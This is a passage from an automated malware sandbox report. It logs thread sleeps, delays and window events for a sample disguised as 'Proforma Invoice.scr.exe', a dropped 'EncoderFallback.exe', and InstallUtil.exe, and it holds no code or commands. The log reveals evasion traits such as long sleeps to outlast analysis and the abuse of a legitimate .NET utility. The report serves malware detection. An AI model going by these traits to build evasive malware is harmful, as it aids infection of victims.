Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594500	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Window / User API: threadDelayed 2706	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Window / User API: threadDelayed 7055	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6535	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 3269	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Window / User API: threadDelayed 3989	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Window / User API: threadDelayed 3991	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 1329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 8512	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 6424	Thread sleep count: 2706 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 6424	Thread sleep count: 7055 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -99438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -99313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -98953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -98844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -98628s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -98476s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -98373s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -98172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -97922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -97774s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -97621s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -97486s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -97374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -97262s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -97156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -97047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -96938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -96828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -96719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -96610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -96485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -96360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -96235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -96110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -95985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -95860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -95735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -95610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -95485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -95360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -95235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -95110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -94985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -94860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -94672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -94542s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -94254s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -94121s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -93967s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -93858s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -93750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -93641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe TID: 1808	Thread sleep time: -93516s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3556	Thread sleep count: 6535 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3556	Thread sleep count: 3269 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -599436s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -599318s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -599179s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -598999s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -598816s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -598685s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -597375s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -597046s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -596936s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -596824s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -596718s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -596500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -596317s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -596180s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -596030s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -595898s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -595653s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -595531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -595422s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -595313s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -595188s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -594969s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -594616s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -594498s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -594389s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -594281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -594171s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -594062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6008	Thread sleep time: -593953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 6368	Thread sleep count: 3989 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 6368	Thread sleep count: 3991 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -99780s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -99671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -99561s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -99451s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -99343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -99013s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -98894s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -98765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -98424s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -98273s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -98156s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -98046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -97937s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -97827s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -97718s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -97609s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -97499s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -97390s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -97281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -97171s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -97062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -96952s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -96843s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -96734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -96624s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -96515s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -96406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -96296s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -96187s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -96070s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -95937s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -95812s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -95702s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -95588s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe TID: 1936	Thread sleep time: -95470s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3804	Thread sleep count: 1329 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3804	Thread sleep count: 8512 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -599655s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -598766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -598641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -598531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -598421s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -598094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -597766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -597641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -597516s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -597297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -597078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -596969s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -596859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -596750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -596641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -596516s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -596391s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -596172s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -595516s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -595391s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -595266s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -595156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -595047s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -594937s >= -30000s	Jump to behavior
